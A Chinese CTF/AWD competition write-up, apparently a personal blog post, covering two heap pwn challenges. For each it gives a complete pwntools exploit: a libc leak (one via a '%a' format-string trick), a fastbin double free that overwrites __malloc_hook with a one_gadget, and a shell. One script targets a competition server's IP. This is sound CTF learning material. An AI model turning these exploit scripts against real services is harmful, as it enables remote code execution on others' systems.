登录后台

页面导航

本文编写于 217 天前,最后修改于 91 天前,其中某些信息可能已经过时。

pwn2

下载文件查看保护

clipboard(1).png

ida分析存在uaf漏洞

clipboard(2).png

由于是libc2.23的环境,先泄露libc再double free攻击__malloc_hook写入onegadget就行了

我自己在awd的时候没调试出来,请教的另一位师傅

最后连续两次delete是为了double free触发malloc_printerr进而触发malloc,最终getshell
exp:

from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('pwn2')

if debug:
    sh = process('./pwn2')
    libc = ELF('libc-2.23.so')
else:
    sh = remote('39.100.119.37', 40880)
    libc = ELF('libc-2.23.so')


def add(idx,size,data):
    sh.sendlineafter('Your Choice\n',str(1))
    sh.recvuntil('index>> ')
    sh.sendline(str(idx))
    sh.recvuntil('size>> ')
    sh.sendline(str(size))
    sh.recvuntil('name>> ')
    sh.sendline(str(data))
def show(idx):
    sh.sendlineafter('Your Choice\n',str(5))
    sh.recvuntil('index>> ')
    sh.sendline(str(idx))
def edit(idx,data):
    sh.sendlineafter('Your Choice\n',str(3))
    sh.recvuntil('index>> ')
    sh.sendline(str(idx))
    sh.recvuntil('name>> ')
    sh.sendline(str(data))
def delete(idx):
    sh.sendlineafter('Your Choice\n',str(2))
    sh.recvuntil('index>> ')
    sh.sendline(str(idx))
add(0,0x88,'a')
add(1,0x68,'a')
add(2,0x68,'a')
add(10,0x20,'a')
delete(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3c4b78
log.success(hex(libc_base))
add(3,0x68,'a')
delete(1)
delete(3)
delete(1)

add(4,0x68,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(5,0x68,'a')
add(6,0x68,'a')
delete(10)
add(7,0x68,'a'*0x13 + p64(libc_base + 0xf02a4))
delete(0)
delete(0)
#gdb.attach(sh)

sh.interactive()

pwn1

查看保护,全开

clipboard.png

只有add和drop函数可用,存在uaf漏洞

clipboard(4).png

注意程序前面有一次name,__prinf_chk函数是一个带有check的printf函数,可以防止%x$p,也无法使用%n,以前我是输入很多%p泄露libc的,但这里只能输5个字节,空间不够,查询发现%a也可以导致泄露

http://abcdefghijklmnopqrst.xyz/2018/12/20/Binary_%E9%80%9A%E8%BF%87a%E7%9A%84leak/

clipboard(3).png

剩下的和pwn2基本一样

from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('pwn1')
sh = process('./pwn1')
libc = elf.libc

def add(size,data):
    sh.sendlineafter('choice:',str(1))
    sh.recvuntil('secret?\n')
    sh.sendline(str(size))
    sh.recvuntil('secret:')
    sh.sendline(str(data))

def delete(idx):
    sh.sendlineafter('choice:',str(2))
    sh.recvuntil('drop off?\n')
    sh.sendline(str(idx))
sh.recvuntil('name?\n')
sh.sendline('%a%a')
sh.recvuntil('10220x0.0')
libc_base = int('0x'+sh.recv(12),16) - 0x3c56a3
log.success('libc_base: '+hex(libc_base))
add(0x88,'aaa')#0
add(0x68,'aaa')#1
add(0x18,'aaa')#2
add(0x68,'aaa')#3
add(0x30,'aaa')#4
delete(0)
add(0x68,'aaa')#5
delete(1)
delete(5)
delete(1)
add(0x68,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(0x68,'aaa')
add(0x68,'aaa')
delete(4)
add(0x68,'a'*11+p64(libc_base+0xf02a4)*3)
delete(0)
delete(0)

#gdb.attach(sh)
sh.interactive()

总结

自己太菜了,题都没做出来。。。比赛刚开始就被pwn爷爷们吊着打,自己的服务器也被pwn了。。
uaf的这种利用方法理解不深,调试了半天做不出来o(╥﹏╥)o
辛亏队里的web师傅给力!!!感谢各位师傅~